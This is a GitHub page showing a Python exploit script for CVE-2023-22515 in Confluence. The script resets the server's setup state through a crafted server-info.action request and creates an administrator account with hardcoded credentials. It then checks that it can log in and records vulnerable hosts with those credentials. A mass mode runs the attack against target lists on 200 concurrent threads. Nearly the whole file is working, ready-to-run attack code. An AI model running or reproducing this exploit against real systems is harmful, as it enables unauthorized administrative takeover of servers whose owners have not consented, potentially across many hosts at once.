-
Notifications
You must be signed in to change notification settings - Fork 29
/
exploit.py
162 lines (131 loc) · 6.26 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import json
import fire
import requests
from rich import print
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor
HEADERS = {
"X-Atlassian-Token": "no-check",
"User-Agent": "https://github.com/Chocapikk/CVE-2023-22515"
}
requests.packages.urllib3.disable_warnings()
class Confluence:
def __init__(self, base_url, verbose=False, output_file=None):
self.base_url = base_url
self.verbose = verbose
self.username = "pleasepatch"
self.password = "Password2"
self.output_file = output_file
def send_request(self, method, url, auth=None, data=None):
try:
response = requests.request(method, url, headers=HEADERS, verify=False, timeout=3, auth=auth, data=data)
return response.status_code, response.text
except requests.exceptions.RequestException as e:
if self.verbose:
print(f"[[bold red]ERROR[/bold red]] Request error for {url}: {str(e)}")
return None, None
def check_authentication(self):
"""Check authentication and retrieve user details."""
auth = (self.username, self.password)
url = f"{self.base_url}/rest/api/user?username={self.username}"
status, response = self.send_request("GET", url, auth=auth)
if status == 200:
try:
user_info = json.loads(response.strip())
formatted_user_info = json.dumps(user_info, indent=2)
if self.verbose:
print(f"[bold green][*][bold white] Authenticated as \"{self.username}\" user\n")
print(f"[[bold yellow]INFO[/bold yellow]] User Information: [white]{formatted_user_info}")
except json.JSONDecodeError:
return False
return True
else:
if self.verbose:
print(f"[bold red][-][/bold red] Authentication failed on REST API for {self.username}")
return False
def exploit(self):
success_message = None
if not self.trigger_vulnerability():
error_message = f"[bold red][-][/bold red] Failed to trigger vulnerability for {self.base_url}"
elif not self.create_admin_account():
error_message = f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}"
elif self.check_authentication():
success_message = f"[bold green][*][bold white] Successfully exploited {self.base_url} and logged in as admin!"
else:
error_message = f"[bold red][-][/bold red] Failed to authenticate with created admin account at {self.base_url}"
if success_message:
if not self.verbose:
print(success_message)
return success_message
else:
return error_message
def trigger_vulnerability(self):
status, _ = self.send_request("GET", f"{self.base_url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")
return status == 200
def create_admin_account(self):
data = {
"username": self.username,
"fullName": self.username,
"email": f"{self.username}@localhost",
"password": self.password,
"confirm": self.password,
"setup-next-button": "Next"
}
status, response = self.send_request("POST", f"{self.base_url}/setup/setupadministrator.action", data=data)
if status == 200:
if self.verbose:
print(f"[[bold yellow]INFO[/bold yellow]] Username: {self.username}")
print(f"[[bold yellow]INFO[/bold yellow]] Password: {self.password}")
if "Setup Successful" in response:
if self.verbose:
print("[bold green][*][bold white] Created new administrator successfully")
self.save_to_output_file()
elif "A user with this username already exists" in response:
if self.verbose:
print("[bold yellow][!][bold white] Administrator with this username already exists")
self.save_to_output_file()
else:
if self.verbose:
print(f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}")
return status == 200
def save_to_output_file(self):
if self.output_file:
with open(self.output_file, 'a') as file:
file.write(f"Vulnerable server: {self.base_url} | Username: {self.username} | Password: {self.password}\n")
class Exploit:
"""
Exploit script for CVE-2023-22515 - Confluence Vulnerability.
This script attempts to exploit the CVE-2023-22515 vulnerability in Confluence
to gain unauthorized access.
"""
def __init__(self):
self.verbose = False
def normal(self, target, output_file=None):
"""
Exploits the Confluence vulnerability using a single target URL.
Args:
target (str): The target URL to exploit.
output_file (str, optional): File to save vulnerable servers.
"""
self.verbose = True
exploit_target(target, verbose=self.verbose, output_file=output_file)
def mass(self, filename, output_file=None):
"""
Exploits the Confluence vulnerability using a list of target URLs from a file.
Args:
filename (str): The name of the file containing a list of target URLs.
output_file (str, optional): File to save vulnerable servers.
"""
with open(filename, 'r') as file:
targets = [line.strip() for line in file.readlines() if line.strip()]
scan_targets(targets, verbose=self.verbose, output_file=output_file)
def scan_targets(targets, verbose=False, output_file=None):
with alive_bar(len(targets), enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=200) as executor:
list(executor.map(lambda url: exploit_target(url, bar, verbose, output_file), targets))
def exploit_target(url, bar=None, verbose=False, output_file=None):
Confluence(url, verbose=verbose, output_file=output_file).exploit()
if bar:
bar()
if __name__ == "__main__":
fire.Fire(Exploit)